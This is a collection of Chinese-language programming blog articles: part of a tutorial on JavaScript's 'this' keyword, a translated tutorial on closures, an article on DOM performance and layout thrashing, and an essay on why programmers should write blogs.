14 var thing = new Thing();
15 thing.logFoo();  //logs "attempting to log this.foo: bar"




	但是当你需要把一个方法作为一个值传递给一个函数的时候并不管用。



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () { 
 5     var self = this;
 6     function doIt() {
 7         console.log(self.foo);
 8     }
 9     doIt();
10 }
11 
12 function doItIndirectly(method) {
13     method();
14 }
15 
16 
17 var thing = new Thing();
18 thing.logFoo(); //logs "bar"
19 doItIndirectly(thing.logFoo); //logs undefined




	你可以通过bind将实例和方法一切传递给函数来解决这个问题，bind是一个函数定义在所有函数和方法的函数对象上面



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () { 
 5     console.log(this.foo);
 6 }
 7 
 8 function doIt(method) {
 9     method();
10 }
11 
12 
13 var thing = new Thing();
14 doIt(thing.logFoo.bind(thing)); //logs bar




	你同样可以使用apply和call来在新的上下文中调用方法或函数。



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () { 
 5     function doIt() {
 6         console.log(this.foo);
 7     }
 8     doIt.apply(this);
 9 }
10 
11 function doItIndirectly(method) {
12     method();
13 }
14 
15 
16 var thing = new Thing();
17 doItIndirectly(thing.logFoo.bind(thing)); //logs bar




	你可以用bind来代替任何一个函数或者方法的this，即便它没有赋值给实例的初始prototype。



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 
 5 
 6 function logFoo(aStr) {
 7     console.log(aStr, this.foo);
 8 }
 9 
10 
11 var thing = new Thing();
12 logFoo.bind(thing)("using bind"); //logs "using bind bar"
13 logFoo.apply(thing, ["using apply"]); //logs "using apply bar"
14 logFoo.call(thing, "using call"); //logs "using call bar"
15 logFoo("using nothing"); //logs "using nothing undefined"




	你应该避免在构造函数里面返回任何东西，因为这可能代替本来应该返回的实例。



 1 function Thing() {
 2     return {};
 3 }
 4 Thing.prototype.foo = "bar";
 5 
 6 
 7 Thing.prototype.logFoo = function () {
 8     console.log(this.foo);
 9 }
10 
11 
12 var thing = new Thing();
13 thing.logFoo(); //Uncaught TypeError: undefined is not a function



奇怪的是，如果你在构造函数里面返回了一个原始值，上面所述的情况并不会发生并且返回语句被忽略了。最好不要在你将通过new调用的构造函数里面返回任何类型的数据，即便你知道自己正在做什么。如果你想创建一个工厂模式，通过一个函数来创建一个实例，这个时候不要使用new来调用函数。当然这个建议是可选的。



	你可以通过使用Object.create来避免使用new，这样同样能够创建一个实例。



 1 function Thing() {
 2 }
 3 Thing.prototype.foo = "bar";
 4 
 5 
 6 Thing.prototype.logFoo = function () {
 7     console.log(this.foo);
 8 }
 9 
10 
11 var thing =  Object.create(Thing.prototype);
12 thing.logFoo(); //logs "bar"




	在这种情况下并不会调用构造函数



 1 function Thing() {
 2     this.foo = "foo";
 3 }
 4 Thing.prototype.foo = "bar";
 5 
 6 
 7 Thing.prototype.logFoo = function () {
 8     console.log(this.foo);
 9 }
10 
11 
12 var thing =  Object.create(Thing.prototype);
13 thing.logFoo(); //logs "bar"




	因为Object.create不会调用构造函数的特性在你继承模式下你想通过原型链重写构造函数的时候非常有用。



 1 function Thing1() {
 2     this.foo = "foo";
 3 }
 4 Thing1.prototype.foo = "bar";
 5 
 6 function Thing2() {
 7     this.logFoo(); //logs "bar"
 8     Thing1.apply(this);
 9     this.logFoo(); //logs "foo"
10 }
11 Thing2.prototype = Object.create(Thing1.prototype);
12 Thing2.prototype.logFoo = function () {
13     console.log(this.foo);
14 }
15 
16 var thing = new Thing2();



object this



	在一个对象的一个函数里，你可以通过this来引用这个对象的其他属性。这个用new来新建一个实例是不一样的。



1 var obj = {
2     foo: "bar",
3     logFoo: function () {
4         console.log(this.foo);
5     }
6 };
7 
8 obj.logFoo(); //logs "bar"




	注意，没有使用new，没有使用Object.create，也没有使用函数调用创建一个对象。你也可以将对象当作一个实例将函数绑定到上面。



1 var obj = {
2     foo: "bar"
3 };
4 
5 function logFoo() {
6     console.log(this.foo);
7 }
8 
9 logFoo.apply(obj); //logs "bar"




	当你用这种方式使用this的时候，并不会越出当前的对象。只有有相同直接父元素的属性才能通过this共享变量



 1 var obj = {
 2     foo: "bar",
 3     deeper: {
 4         logFoo: function () {
 5             console.log(this.foo);
 6         }
 7     }
 8 };
 9 
10 obj.deeper.logFoo(); //logs undefined





	你可以直接通过对象引用你需要的属性



var obj = {
    foo: "bar",
    deeper: {
        logFoo: function () {
            console.log(obj.foo);
        }
    }
};

obj.deeper.logFoo(); //logs "bar"



DOM event this



	在一个HTML DOM事件处理程序里面，this始终指向这个处理程序被所绑定到的HTML DOM节点



 1 function Listener() {
 2     document.getElementById("foo").addEventListener("click",
 3        this.handleClick);
 4 }
 5 Listener.prototype.handleClick = function (event) {
 6     console.log(this); //logs "<div id="foo"></div>"
 7 }
 8 
 9 var listener = new Listener();
10 document.getElementById("foo").click();




	除非你自己通过bind切换了上下文



 1 function Listener() {
 2     document.getElementById("foo").addEventListener("click", 
 3         this.handleClick.bind(this));
 4 }
 5 Listener.prototype.handleClick = function (event) {
 6     console.log(this); //logs Listener {handleClick: function}
 7 }
 8 
 9 var listener = new Listener();
10 document.getElementById("foo").click();



HTML this



	在HTML节点的属性里面，你可以放置JavaScript代码，this指向了这个元素



1 <div id="foo" onclick="console.log(this);"></div>
2 <script type="text/javascript">
3 document.getElementById("foo").click(); //logs <div id="foo"...
4 </script>



override this



	你不能重写this，因为它是保留字。




1 function test () {
2     var this = {};  // Uncaught SyntaxError: Unexpected token this 
3 }
eval this




	你可以通过eval来访问this



function Thing () {
}
Thing.prototype.foo = "bar";
Thing.prototype.logFoo = function () {
    eval("console.log(this.foo)"); //logs "bar"
}

var thing = new Thing();
thing.logFoo();



这会造成一个安全问题，除非不用eval，没有其他方式来避免这个问题。



	在通过Function来创建一个函数的时候，同样能够访问this



function Thing () {
}
Thing.prototype.foo = "bar";
Thing.prototype.logFoo = new Function("console.log(this.foo);");

var thing = new Thing();
thing.logFoo(); //logs "bar"



with this



	你可以通过with来将this添加到当前的执行环境，并且读写this的属性的时候不需要通过this



 1 function Thing () {
 2 }
 3 Thing.prototype.foo = "bar";
 4 Thing.prototype.logFoo = function () {
 5     with (this) {
 6         console.log(foo);
 7         foo = "foo";
 8     }
 9 }
10 
11 var thing = new Thing();
12 thing.logFoo(); // logs "bar"
13 console.log(thing.foo); // logs "foo"



许多人认为这样使用是不好的因为with本身就饱受争议。


jQuery this



	和HTML DOM元素节点的事件处理程序一样，在许多情况下JQuery的this都指向HTML元素节点。这在事件处理程序和一些方便的方法中都是管用的，比如$.each



 1 <div class="foo bar1"></div>
 2 <div class="foo bar2"></div>
 3 <script type="text/javascript">
 4 $(".foo").each(function () {
 5     console.log(this); //logs <div class="foo...
 6 });
 7 $(".foo").on("click", function () {
 8     console.log(this); //logs <div class="foo...
 9 });
10 $(".foo").each(function () {
11     this.click();
12 });
13 </script>



thisArg  this


如果你用过underscore.js 或者 lo-dash 你可能知道许多类库的方法可以通过一个叫做thisArg 的函数参数来传递实例，这个函数参数会作为this的上下文。举个例子，这适用于_.each。原生的JavaScript在ECMAScript 5的时候也允许函数传递一个thisArg参数了，比如forEach。事实上，之前阐述的bind，apply和call的使用已经给你创造了传递thisArg参数给函数的机会。这个参数将this绑定为你所传递的对象。


 1 function Thing(type) {
 2     this.type = type;
 3 }
 4 Thing.prototype.log = function (thing) {
 5     console.log(this.type, thing);
 6 }
 7 Thing.prototype.logThings = function (arr) {
 8    arr.forEach(this.log, this); // logs "fruit apples..."
 9    _.each(arr, this.log, this); //logs "fruit apples..."
10 }
11 
12 var thing = new Thing("fruit");
13 thing.logThings(["apples", "oranges", "strawberries", "bananas"]);



这使得代码变得更加简介，因为避免了一大堆bind语句、函数嵌套和this暂存的使用。
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本文由 伯乐在线 - 刘健超-J.c 翻译，Namco 校稿。未经许可，禁止转载！

英文出处：Igor Šarčević

几年前，我还是一名高中生时，我的一个朋友向我讲述了闭包的概念。虽然我当时一点也不明白他想表达的内容，但他在向我讲述时却表现得非常高大上。对于当时的我来说，闭包看来是一个深不可测的魔法。即使 Google 后也不能解除我的疑惑。而所有我能查阅的科技文章，都为高中生所难以理解。

现在的我回想起高中编程时光，我都会不禁一笑。这是一篇试图用一些简单项目去解释闭包的文章，这会帮助我的学弟学妹们能轻易地驾驭强大的闭包。

计数事件

我们将从一个简单的问题开始。如果将闭包引入到该程序中，将能轻易解决这个问题。
我们为计数事件创建一个机制。该机制将有助于我们跟踪代码的执行，甚至去调试一些问题。例如，我会以下面的方式调用计数器：

increment();  // Number of events: 1
increment();  // Number of events: 2
increment();  // Number of events: 3


正如你所看到的上述案例，我们希望代码会在我们每次执行 increment() 函数时，会显示一条信息“Number of events: x”。下面以简单的方式实现该函数：


var counter = 0;

function increment() {
  counter = counter + 1;
  console.log("Number of events: " + counter);
}


多个计数器

上述代码非常简单明确。然而，当我们引入第二个计数器时，就会很快遇到问题。当然，我们能实现两个单独的计数器机制，如下面的代码，但很明显有需要改进的地方：

var counter1 = 0;

function incrementCounter1() {
  counter1 = counter1 + 1;
  console.log("Number of events: " + counter1);
}
 
var counter2 = 0;
 
function incrementCounter2() {
  counter2 = counter2 + 1;
  console.log("Number of events: " + counter2);
}
 
incrementCounter1();  // Number of events: 1
incrementCounter2();  // Number of events: 1
incrementCounter1();  // Number of events: 2


上述代码出现了不必要的重复。明显地，这种解决办法并不适用于超过二或三个记数器的情况。我们需要想出更好的解决方案。

引入我们第一个闭包

在保持与上述例子相似的情况下，我们以某种方式引入新的计数器，该计数器捆绑了一个能自增的函数，而且没有大量重复的代码。下面尝试使用闭包：

function createCounter() {
  var counter = 0;
 
  function increment() {
    counter = counter + 1;
    console.log("Number of events: " + counter);
  }
 
  return increment;
}


让我们看看这是如何工作的。我们将创建两个计数器，并让它们跟踪两个独立的事件：

var counter1 = createCounter();
var counter2 = createCounter();
 
counter1(); // Number of events: 1
counter1(); // Number of events: 2
 
counter2(); // Number of events: 1
 
counter1(); // Number of events: 3


啊，这看起来有点复杂…然而，这实际上是非常简单的。我们只需将实现逻辑分成几个易于理解的块。下面就看看我们实现了什么：


	首先，创建了一个名为 counter 的局部变量。


	然后，创建了一个名为 increment 的局部函数，它能增加 counter 变量值。如果你从未接触过将函数作为数据来处理的函数式编程，这也许对你非常陌生。然而，这是非常常见的，而且只需要一些练习就能适应这一概念。




你应该注意到这一点，createCounter() 的实现与我们原先的计数器实现几乎一致。唯一不同的是它被包装或封装在一个函数体内。因此，这些构造器都被称为闭包。

现在是棘手的部分：

	在 createCounter() 的最后一步返回了局部函数 increment。请注意，这并不是返回调用函数的运行结果，而是函数本身。




这就意味着，当我们在这个代码段下面创建新的计数器时，实际上是生成新函数。


// fancyNewCounter is a function in this scope
// fancyNewCounter 是当前作用域的一个函数
 
var fancyNewCounter = createCounter();


这就是闭包生命周期的力量所在。每个生成的函数，都会保持在 createCounter() 所创建的 counter 变量的引用。在某种意义上，被返回的函数记住了它所被创建时的环境。

在这里需要提醒大家注意的是，内部变量 counter 都是独立存在于每个作用域！例如，如果我们创建两个计数器，那么它们都会在闭包体内会分配一个新的 counter 变量。我们观察以下代码：

每个计数器都会从 1 算起：

var counter1 = createCounter();
counter1(); // Number of events: 1
counter1(); // Number of events: 2
 
var counter2 = createCounter();
counter2(); // Number of events: 1


第二个计数器并不会干扰第一个计数器的值：


counter1(); // Number of events: 3


为我们的计数器命名

信息“Number of events: x” 是没问题的，但如果能描述每个计数事件的类型，那么这将会更好。如以下例子，我们为计数器添加名字：

var catCounter = createCounter("cats");
var dogCounter = createCounter("dogs");
 
catCounter(); // Number of cats: 1
catCounter(); // Number of cats: 2
dogCounter(); // Number of dogs: 1


我们仅需通过为闭包传递参数就能达到这种目的。

function createCounter(counterName) {
  var counter = 0;
 
  function increment() {
    counter = counter + 1;
 
    console.log("Number of " + counterName + ": " + counter);
  }
 
  return increment;
}


非常棒！请注意上述 createCounter() 函数的一个有趣行为。返回函数不仅记住了局部变量 counter，而且记住了传递进来的参数。

改善公用接口

我所说的公用接口是指，我们如何使用计数器。这并不单纯指，当被创建的计数器被调用时会增加值。


var dogCounter = createCounter("dogs");

dogCounter.increment(); // Number of dogs: 1


让我们创建这样的一个实现：


function createCounter(counterName) {
  var counter = 0;
 
  function increment() {
    counter = counter + 1;
 
    console.log("Number of " + counterName + ": " + counter);
  };
 
  return { increment : increment };
}


在上述代码段，我们简单地返回一个对象，该对象包含了该闭包的所有功能。在某种意义下，我们能定义闭包能返回的一系列信息。

增加一个减量

现在，我们能非常简单地为我们的计数器引入减量（decrement）。

function createCounter(counterName) {
  var counter = 0;
 
  function increment() {
    counter = counter + 1;
 
    console.log("Number of " + counterName + ": " + counter);
  };
 
  function decrement() {
    counter = counter - 1;
 
    console.log("Number of " + counterName + ": " + counter);
  };
 
  return {
    increment : increment,
    decrement : decrement
  };
}
 
var dogsCounter = createCounter("dogs");
 
dogsCounter.increment(); // Number of dogs: 1
dogsCounter.increment(); // Number of dogs: 2
dogsCounter.decrement(); // Number of dogs: 1


隐藏计数器行为

上述代码有两处冗余的代码行。没错，就是 console.log。如果能创建一个专门用于显示计数器值的函数将会更好。让我们调用 display 函数。

function createCounter(counterName) {
  var counter = 0;
 
  function display() {
    console.log("Number of " + counterName + ": " + counter);
  }
 
  function increment() {
    counter = counter + 1;
 
    display();
  };
 
  function decrement() {
    counter = counter - 1;
 
    display();
  };
 
  return {
    increment : increment,
    decrement : decrement
  };
}
 
var dogsCounter = createCounter("dogs");
 
dogsCounter.increment(); // Number of dogs: 1
dogsCounter.increment(); // Number of dogs: 2
dogsCounter.decrement(); // Number of dogs: 1


`display()与increment() 和 decrement() 函数看起来非常相似，然而这是大相径庭的。我们没有在结果对象返回它！这意味着以下代码将会调用失败：

var dogsCounter = createCounter("dogs");
 
dogsCounter.display(); // ERROR !!!


我们让 display() 函数对外部来说是不可见的。它仅在 createCounter() 内可用。

抽象数据类型

正如你所见，我们通过闭包能非常简单地引入抽象数据类型。例如，让我们通过闭包实现一个 堆栈)。

function createStack() {
  var elements = [];

  return {
    push: function(el) { elements.unshift(el); },
    pop: function() { return elements.shift(); }
  };
}

var stack = createStack();

stack.push(3);
stack.push(4);
stack.pop(); // 4


注意：在 JavaScript 中，闭包并不是堆栈数据类型的最佳实现方式。用 Prototype 实现会对内存更友好（译者注：在当前对象实例找不会相应属性或方法时，会到相应实例共同引用的 Prototype 属性寻找相应属性或方法（如果在当前Prototype属性找不到时，会沿着当前原型链向上查找），而Prototype 上的属性或方法是公用的，而不像实例的属性或方法那样，各自单独创建属性或方法，从而节省更多的内存）。

闭包与面向对象编程

如果你具有 面向对象编程 的经历，那么你应该会注意到上述构造器看来非常像类、对象、实例值和私有/公有方法。

闭包与类相似，都会将一些能操作内部数据的函数联系在一起。因此，你能在任何地方像使用对象一样使用闭包。

结语

闭包是编程语言一个很棒的属性。当我们想在 JavaScript 创建“真正的”隐藏域，或者需要创建简单的构造器时，闭包这个属性是非常好用的。不过对于一般的类来说，闭包可能还是有点太重了。

感谢您的阅读。 如果你觉得这篇文章对您有帮助或者觉得我翻译得不错，那给我个 star 吧。
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也可以在这里看：http://leozdgao.me/why-dom-slow/

一直都听说DOM很慢，要尽量少的去操作DOM，于是就想进一步去探究下为什么大家都会这样说，在网上学习了一些资料，这边整理出来。

首先，DOM对象本身也是一个js对象，所以严格来说，并不是操作这个对象慢，而是说操作了这个对象后，会触发一些浏览器行为，比如布局（layout）和绘制（paint）。下面主要先介绍下这些浏览器行为，阐述一个页面是怎么最终被呈现出来的，另外还会从代码的角度，来说明一些不好的实践以及一些优化方案。

浏览器是如何呈现一张页面的

一个浏览器有许多模块，其中负责呈现页面的是渲染引擎模块，比较熟悉的有WebKit和Gecko等，这里也只会涉及这个模块的内容。

先用文字大致阐述下这个过程：


	解析HTML，并生成一棵DOM tree


	解析各种样式并结合DOM tree生成一棵Render tree


	对Render tree的各个节点计算布局信息，比如box的位置与尺寸


	根据Render tree并利用浏览器的UI层进行绘制




其中DOM tree和Render tree上的节点并非一一对应，比如一个display:none的节点就在会存在与DOM tree上，而不会出现在Render tree上，因为这个节点不需要被绘制。



上图是Webkit的基本流程，在术语上和Gecko可能会有不同，这里贴上Gecko的流程图，不过文章下面的内容都会统一使用Webkit的术语。



影响页面呈现的因素有许多，比如link的位置会影响首屏呈现等。但这里主要集中讨论与layout相关的内容。

paint是一个耗时的过程，然而layout是一个更耗时的过程，我们无法确定layout一定是自上而下或是自下而上进行的，甚至一次layout会牵涉到整个文档布局的重新计算。

但是layout是肯定无法避免的，所以我们主要是要最小化layout的次数。

什么情况下浏览器会进行layout

在考虑如何最小化layout次数之前，要先了解什么时候浏览器会进行layout。

layout（reflow）一般被称为布局，这个操作是用来计算文档中元素的位置和大小，是渲染前重要的一步。在HTML第一次被加载的时候，会有一次layout之外，js脚本的执行和样式的改变同样会导致浏览器执行layout，这也是本文的主要要讨论的内容。

一般情况下，浏览器的layout是lazy的，也就是说：在js脚本执行时，是不会去更新DOM的，任何对DOM的修改都会被暂存在一个队列中，在当前js的执行上下文完成执行后，会根据这个队列中的修改，进行一次layout。

然而有时希望在js代码中立刻获取最新的DOM节点信息，浏览器就不得不提前执行layout，这是导致DOM性能问题的主因。

如下的操作会打破常规，并触发浏览器执行layout：


	通过js获取需要计算的DOM属性


	添加或删除DOM元素


	resize浏览器窗口大小


	改变字体


	css伪类的激活，比如:hover


	通过js修改DOM元素样式且该样式涉及到尺寸的改变




我们来通过一个例子直观的感受下：

// Read
var h1 = element1.clientHeight;

// Write (invalidates layout)
element1.style.height = (h1 * 2) + 'px';

// Read (triggers layout)
var h2 = element2.clientHeight;

// Write (invalidates layout)
element2.style.height = (h2 * 2) + 'px';

// Read (triggers layout)
var h3 = element3.clientHeight;

// Write (invalidates layout)
element3.style.height = (h3 * 2) + 'px';

这里涉及一个属性clientHeight，这个属性是需要计算得到的，于是就会触发浏览器的一次layout。我们来利用chrome（v47.0）的开发者工具看下（截图中的timeline record已经经过筛选，仅显示layout）：



上面的例子中，代码首先修改了一个元素的样式，接下来读取另一个元素的clientHeight属性，由于之前的修改导致当前DOM被标记为脏，为了保证能准确的获取这个属性，浏览器会进行一次layout（我们发现chrome的开发者工具良心的提示了我们这个性能问题）。

优化这段代码很简单，预先读取所需要的属性，在一起修改即可。

// Read
var h1 = element1.clientHeight;
var h2 = element2.clientHeight;
var h3 = element3.clientHeight;

// Write (invalidates layout)
element1.style.height = (h1 * 2) + 'px';
element2.style.height = (h2 * 2) + 'px';
element3.style.height = (h3 * 2) + 'px';

看下这次的情况：



下面再介绍一些其他的优化方案。

最小化layout的方案

上面提到的一个批量读写是一个，主要是因为获取一个需要计算的属性值导致的，那么哪些值是需要计算的呢？

这个链接里有介绍大部分需要计算的属性：http://gent.ilcore.com/2011/03/how-not-to-trigger-layout-in-webkit.html

再来看看别的情况：

面对一系列DOM操作

针对一系列DOM操作（DOM元素的增删改），可以有如下方案：


	documentFragment


	display: none


	cloneNode




比如（仅以documentFragment为例）：

var fragment = document.createDocumentFragment();
for (var i=0; i < items.length; i++){
  var item = document.createElement("li");
  item.appendChild(document.createTextNode("Option " + i);
  fragment.appendChild(item);
}
list.appendChild(fragment);

这类优化方案的核心思想都是相同的，就是先对一个不在Render tree上的节点进行一系列操作，再把这个节点添加回Render tree，这样无论多么复杂的DOM操作，最终都只会触发一次layout。

面对样式的修改

针对样式的改变，我们首先需要知道并不是所有样式的修改都会触发layout，因为我们知道layout的工作是计算RenderObject的尺寸和大小信息，那么我如果只是改变一个颜色，是不会触发layout的。

这里有一个网站CSS triggers，详细列出了各个CSS属性对浏览器执行layout和paint的影响。

像下面这种情况，和上面讲优化的部分是一样的，注意下读写即可。

elem.style.height = "100px"; // mark invalidated
elem.style.width = "100px";
elem.style.marginRight = "10px";

elem.clientHeight // force layout here

但是要提一下动画，这边讲的是js动画，比如：

function animate (from, to) {
  if (from === to) return

  requestAnimationFrame(function () {
    from += 5
    element1.style.height = from + "px"
    animate(from, to)
  })
}

animate(100, 500)

动画的每一帧都会导致layout，这是无法避免的，但是为了减少动画带来的layout的性能损失，可以将动画元素绝对定位，这样动画元素脱离文本流，layout的计算量会减少很多。

使用requestAnimationFrame

任何可能导致重绘的操作都应该放入requestAnimationFrame

在现实项目中，代码按模块划分，很难像上例那样组织批量读写。那么这时可以把写操作放在requestAnimationFrame的callback中，统一让写操作在下一次paint之前执行。

// Read
var h1 = element1.clientHeight;

// Write
requestAnimationFrame(function() {
  element1.style.height = (h1 * 2) + 'px';
});

// Read
var h2 = element2.clientHeight;

// Write
requestAnimationFrame(function() {
  element2.style.height = (h2 * 2) + 'px';
});



可以很清楚的观察到Animation Frame触发的时机，MDN上说是在paint之前触发，不过我估计是在js脚本交出控制权给浏览器进行DOM的invalidated check之前执行。

其他注意点

除了由于触发了layout而导致性能问题外，这边再列出一些其他细节：

缓存选择器的结果，减少DOM查询。这里要特别体下HTMLCollection。HTMLCollection是通过document.getElementByTagName得到的对象类型，和数组类型很类似但是每次获取这个对象的一个属性，都相当于进行一次DOM查询：

var divs = document.getElementsByTagName("div");
for (var i = 0; i < divs.length; i++){  //infinite loop
  document.body.appendChild(document.createElement("div"));
}

比如上面的这段代码会导致无限循环，所以处理HTMLCollection对象的时候要最些缓存。

另外减少DOM元素的嵌套深度并优化css，去除无用的样式对减少layout的计算量有一定帮助。

在DOM查询时，querySelector和querySelectorAll应该是最后的选择，它们功能最强大，但执行效率很差，如果可以的话，尽量用其他方法替代。

下面两个jsperf的链接，可以对比下性能。

https://jsperf.com/getelementsbyclassname-vs-queryselectorall/162
http://jsperf.com/getelementbyid-vs-queryselector/218

自己对View层的想法

上面的内容理论方面的东西偏多，从实践的角度来看，上面讨论的内容，正好是View层需要处理的事情。已经有一个库FastDOM来做这个事情，不过它的代码是这样的：

fastdom.read(function() {
  console.log('read');
});

fastdom.write(function() {
  console.log('write');
});

问题很明显，会导致callback hell，并且也可以预见到像FastDOM这样的imperative的代码缺乏扩展性，关键在于用了requestAnimationFrame后就变成了异步编程的问题了。要让读写状态同步，那必然需要在DOM的基础上写个Wrapper来内部控制异步读写，不过都到了这份上，感觉可以考虑直接上React了......

总之，尽量注意避免上面说到的问题，但如果用库，比如jQuery的话，layout的问题出在库本身的抽象上。像React引入自己的组件模型，用过virtual DOM来减少DOM操作，并可以在每次state改变时仅有一次layout，我不知道内部有没有用requestAnimationFrame之类的，感觉要做好一个View层就挺有难度的，之后准备学学React的代码。希望自己一两年后会过来再看这个问题的时候，可以有些新的见解。

参考


	http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/


	https://dev.opera.com/articles/efficient-javascript/?page=3


	http://wilsonpage.co.uk/preventing-layout-thrashing/


	https://www.nczonline.net/blog/2009/02/03/speed-up-your-javascript-part-4/


	http://gent.ilcore.com/2011/03/how-not-to-trigger-layout-in-webkit.html





 程序员为什么值得写博客

作者：phodal

来源： 程序员为什么值得写博客



                    
Hire Great Writers


仿佛这是写给自己看的，不过这在其中也有着相当有趣的意义 。虽然自己算是一个能写的人，或许这算是一种不算才华的才华，写博文的意义通常不会在于去描述自己怎样，怎样。通常在某些时候对自己来说，可以回顾自己学习的过程，呈现其中的一些思路，并其学习的过程分享出来。


原文的意义在于说明，一个优秀的写手，其优点并不仅仅在于写作，文法清晰代表思路明晰。优秀的写手都懂得如何与人沟通，他们使事情变得易于理解，他们善于换位思考，懂得抓重点、砍枝节，这些都是合格的应聘者身上应具备的特点。

想想自己算是后面说的那一部分，至于前面那部分——一个优秀的写手，就有待商榷。写的人越来越想，阅读的人越来越多的这个信息冗余的年代，会写就代表会思考？？(转载保留: 程序员为什么值得写博客)


为什么要写博文


写一篇博文意味着要花一定的时间，有时候可能是一个小时，有时候可能会更多，于是人们开始去copy。在这个Ctrl+C越来越盛行的年代，我们还是输了，于是乎在我们的国度里，我们的计算机书算是输给国外的精英了。我们也有优秀的程序员，有优秀的工程师，只是在其中能与大众沟通的又有多少。我们的最终用户可从来不会管你用的是什么技术，他只懂得什么是体验，什么是速度等等。至于你说的东西，他不知道，也不会在乎。


这也就是为什么大师可以成为大师的原因，而菜鸟却还是菜鸟，大师在心里写博文的时候学会了总结，比如，定义算法的集合，将各算法封装，使它们能够交换。利用Strategy模式，算法和利用这些算法的客户程序可以分别独立进行修改而不互相影响。这个就是你需要的方法，于是大师就和你说了，“你需要Strategy模式”。这就是你要的答案，GoF分享了他的东西给了你，我们就有了一本《Head First设计模式》或者是《设计模式解析》。


我们开始走上了成为大师的西天取经，为什么是西天呢，这个领域一直是西方比东方分享得多。《西游记》就这样成为了《西游记》，写下这个过程的到处是吴承恩，还是师徒五人？师徒五人从一个地痞无赖直至成仙成佛。（PS：一直觉得自己写的东西，比较像不是散文的散文，中心似乎一直很明确，只是看懂的仿佛不到。）简单点来说，就是他们写下了自己的那些点点滴滴，我们就知道怎么去“西天”（我的意思不是那个意思，我想你懂的。）


这个过程就是一个个为什么你会看到那么多本优秀的计算机书的原因，大师分享了他们的心得告诉我们如何去成为大师，不过我还不是。只是如果你要成为大师，就要去分享你的过程。至于为什么？简单的说几点：



	技艺的掌握在于重复。技术和游玩的相同之处在于技术玩得越多，也就越熟悉，当你试着去写一篇博文的时候，你也回顾了过程。游玩的回味可以再次欢乐，博文的书写可以再次熟悉。

	你的过程正是别人所需要的。不要以为你手上的那点点关于编码的小知识不是别人所需要的，有时候人们就需要像《七周七语言 理解多种编程范型》这种书。

	你的作品有可能因此重构。至于你对于重构是害怕还是享受，我就不得而知的，但是你写出来的时候，也许你会有更好的思路涌现出来。不好的一点是你还需要对这篇文章进行重构，不是么？

	别人的评价。别人的评价有时候是打击，不过我想更多的时候是一种建议，比如Linus在刚写Linux的第一个版本的时候，他也遇到了这样的问题。至于宏内核好还是微内核好，这个问题有点类似于先有鸡还是先有蛋，不过我想后者可能科学家会给出答案。至于前者，不同的领域可能是不同的，Python好还是C好？相同的领域也可能是不同的，Ruby强大，还是Python强大？

	最后一点就是，你想成为大师，不是么？如果你还甘愿......，我就不说了。



成为笔杆子


Copy与盗版


当我开始越来越频繁写博客的时候，同学开始复制，于是有一天他的排名对于我来说，已经遥不可及了，于是远远地排在了CSDN的前面。一步步的前进着，开始懂得怎样去试着推销自己的博客，这时候渐渐有趣了。又去鼓励另外一个同学去写博客，就如他所说的，“就算是你，写一篇博客也要一个小时”吧，或者对于我的打字速度来说，不算什么，半个小时可以达到三千，五笔加上机械键盘好的手感。


我们总会说别人写的说怎么怎么的烂，但是如果一本书上不是Copy过来的，那么他就是不错的，在版权的地位比代课老师还低的天朝。我想你就可以骂这本书烂，因为他是复制的，因为到了最后你没有找到出处。换到博文来说，你搜索到的结果一个个都是一样的，你找不到原版的文章，去问作者一些问题。


一开始的时候我试着去反抗那些复制，你花一个小时写的东西，可能在发布的瞬间就被抓取过去了。有趣的是，渐渐我发现这有利于我们去传播我们的思想。换句话说，这是一个信息时代，你写的东西有可能在一瞬间到了Obama的眼前。至于优缺点嘛，补充一句可以借此SEO。


天朝一直都有天朝特色，无论从哪些方面来说，计算机也是如此，中国特色的免费。至于付费，我想这就是为什么我不会考虑去做收费软件的原因了。 程序员害了程序员，自己害了自己有什么好说的。于是转战到了openSUSE，都挺好的fcitx的五笔很给力，bug也没有原来多，还有WPS For Linux下的此文，因为网络原因。


Copy对于读者来说，看到的都是千篇一律的东西，只会写的人失去兴趣。盗版对于用户来说，看到的都是免费的东西，只会让开发商失去动力。用户便看到了越来越多的广告，读者便只看一个门户的新闻。


如何去写博文


标题——必须重要，类名


对于写博文的人来说，重点的是如何清楚的去表达他们的想法，标题算是其中之一，这个也就是为什么标题党成为了标题党，而《设计模式》成为了经典。刚开始学编程的时候，更吸引你注意力的可能是《72小时学会Javascript》，而不是《Javascript 权威指南》，兴许让你买前者的原因是因为你能看懂前者，而后者不仅看不懂，而且价格更贵。只是一年以后，《72 小时学会Javascript》被你扔到了垃圾箱，而《Javascript 权威指南》却放在了原来放那本书的位置上。你定义的类难道仅仅应该是class class1么？


小标题——地图，method


小标题有点类似于sitemap.xml，只是他就是站点地图，一点就到了相应的地方。他应该直接了解的说这是开始菜单，标题栏，菜单栏，而不应该是简简单单的第一章，如果你真是那样写的话，你写的函数想必是


def fun1
end



如果你写的是get_data那么，我想你的函数名应该和你的文章一样，告诉人们，你要的是get_data。所以不要吝啬你鼠标的一下，它可以承受上百万字的点击。如果因为那样坏了，你可以告诉我，我可以帮你免费换一个欧姆龙的微动，前提是你的鼠标可以换。如果是HTML那么应该是h2 h3，markdown也就是用得比较多的github上的README.md的##或者是###


内容——函数体


这里可不是让你用一个让人难以理解的Magic Number，你写得越复杂，别人看的时间就越久，通俗易懂，就是一个很好的开始。你可以把一个个复杂的方法分解出来，或者提炼函数，或者重命名。当你相信你看不懂你的文章，正如你看不懂你写的hello,world我想你是时候去重构你的函数了。


复杂的部分，就用段落来解决，一个函数如同一个段落只应该表达一个思想，太长了就如同这篇文章一样没有多少人会认真去看。你需要给你写的一个精美的代码加一个注释，所以你也需要给你复杂的地方加上个（PS）。


引言——README


我想都会去看的，无论是在破解软件的时候，还是github上面的项目。简单的说说，这篇文章是干什么的，这个程序是干什么的。大家都会，不是么？


没有什么好写的？


说说你是怎么开始编程吧，然后写在你的博客上，你会发现你会爱不释手的。


小提醒



	代码，代码有时候会更清晰的表达你思路，太长的代码可能会影响阅读，通常不超过一屏就不算太长

	图表，耐心的画个UML图，或者程序框图也是不错的，很清晰的表达你的思想。

	美观，要知道C上是有indent，如果我看到别人让我帮他看的代码是一坨。。。WPS也有段落，如果你没有学好WORD，找本《72小时精通Office》吧，顺便找PPT、EXLS也学了。

